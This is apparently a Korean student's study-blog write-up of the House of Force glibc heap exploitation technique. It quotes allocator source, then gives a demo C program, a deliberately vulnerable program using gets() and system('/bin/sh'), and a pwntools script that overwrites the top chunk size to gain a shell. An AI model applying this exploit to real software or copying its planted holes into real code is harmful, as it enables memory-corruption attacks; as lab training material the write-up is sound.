혜랑's STORY

[Dreamhack] Heap Allocator Exploit : House of Force 본문

2021 SISS 21기 활동/2학시 시스템

[Dreamhack] Heap Allocator Exploit : House of Force

hyerang0125 2021. 10. 2. 15:05

House of Force

House of Force 기법은 top chunk의 size를 조작함으로써 임의의 주소에 힙 청크를 할당 할 수 있는 공격 기법이다.

이 기법을 사용하기 위해서는 공격자가 top chunk의 size를 조작하고, 원하는 크기의 힙 청크를 할당 할 수 있어야 한다.

아래는 top chunk를 처리하는 _int_malloc 코드의 설명이다.

static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  ...
  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */
...
    use_top:
      victim = av->top;
      size = chunksize (victim);
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    ...
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}
  1. top chunk의 주소를 가져와 크기를 가져온다.
  2. top chunk의 size가 할당 요청받은 크기인 nb보다 크거나 같은지 검사한 후, top chunk의 size가 크다면 힙 영역에 할당한다.
  3. 그러나 할당 요청받은 크기보다 작다면 sysmalloc을 통해 추가적으로 영역을 매핑해 할당한다.

Hose of Force 기법은 top chunk의 size를 2^64-1(64bit), 2^32-1(32bit)로 조작하여 임의의 주소 - top chunk 주소 -16 크기의 힙 청크를 할당하고 한번 더 힙 청크를 할당하면 임의의 주소에 할당할 수 있다.


// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char target[] ="im target!\n";

int main(){
        char *buf1;
        char *trash;
        char *exploit;
        __uint64_t* top_chunk_size_addr;
        __uint64_t exploit_size = 0;
        __uint32_t target_addr = &target;
        
        buf1 = malloc(0x100);
        top_chunk_size_addr = buf1 + 0x108;
        
        fprintf(stderr,"target : %s\n", target);
        fprintf(stderr,"buf1 : 0x%x\n", buf1);
        fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
        fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
        
        *top_chunk_size_addr = 0xffffffffffffffff;
        
        exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
        fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
        trash = malloc(exploit_size);
        
        exploit = malloc(0x100);
        fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
        strcpy(exploit, "exploited!!!!!!");
        fprintf(stderr,"target : %s\n", target);
        
        return 0;
}

위 예제 코드의 익스플로잇 시나리오는 다음과 같다.

  1. 힙 청크를 할당하고 top chunk의 주소를 알아낸다.
  2. top chunk의 size를 (2**64)-1 값으로 조작한다.
  3. 할당 시 임의 주소 - 0x10 -  top chunk 주소 - 0x8 를 전달한다.
  4. 이후 malloc 함수로 할당하면 임의의 영역에 힙 청크를 할당할 수 있다.

3번의 경우 할당을 원하는 주소가 0x8로 정렬되었을 때 0x8을 빼줌으로써 정확한 위치에 할당할 수 있다. 힙 청크는 메타데이터의 크기인 0x10 바이트로 정렬되기 때문에 할당을 원하는 주소의 하위 바이트가 0x48일 경우 0x40에 할당되게 하기 위함이다.

실행 결과이다.

force1 실행 결과


// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

__int64_t overwrite_me = 0;

int main(){
	char* buf1;
	char* buf2;
	char* trash;
	char malloc_size[21];
    
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
    
	buf1 = malloc(0x20);
	write(1, &buf1, 8);
	gets(buf1);
    
	write(1, "input malloc_size : ", 19);
	read(0, malloc_size, 21);
	trash = malloc(strtoull(malloc_size, NULL, 10));
    
	buf2 = malloc(0x100);
	write(1, "write to target : ", 17);
	read(0, buf2, 0x100);
    
	if(overwrite_me == 0xdeadbeefcafebabe){
		system("/bin/sh");
	}
    
	return 0;
}

force2.c는 힙 오버플로우가 발생하고, 원하는 크기의 힙 청크를 할당할 수 있는 예제이다. 익스플로잇 시나리오는 다음과 같다.

  1. 힙 주소를 릭하여 top chunk의 주소를 계산한다.
  2. 힙 오버플로우 top chunk의 size를 2^64-1로 조작한다.
  3. overwrite_me 전역 변수의 주소와 top chunk의 주소를 연산하여 할당할 크기를 전달한다.
  4. overwrite_me 전역 변수의 값을 0xdeadbeefcafebaba로 조작하여 셸을 획득한다.
# force2.py
from pwn import *
s = process('./force2')
raw_input()
overwrite_me = 0x601090

heap_addr = u64(s.recv(5).ljust(8, '\x00'))
print hex(heap_addr)

topchunk_addr = heap_addr+0x28

payload = '\x00'*0x28
payload += p64(0xffffffffffffffff)
s.sendline(payload)

target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)
print target_size

s.sendline(str(target_size))

payload = p64(0xdeadbeefcafebabe)*2
s.sendline(payload)
s.interactive()

위 익스플로잇 시나리오를 바탕으로 코드를 작성하여 셸을 획득할 수 있었다.

셸 획득 완료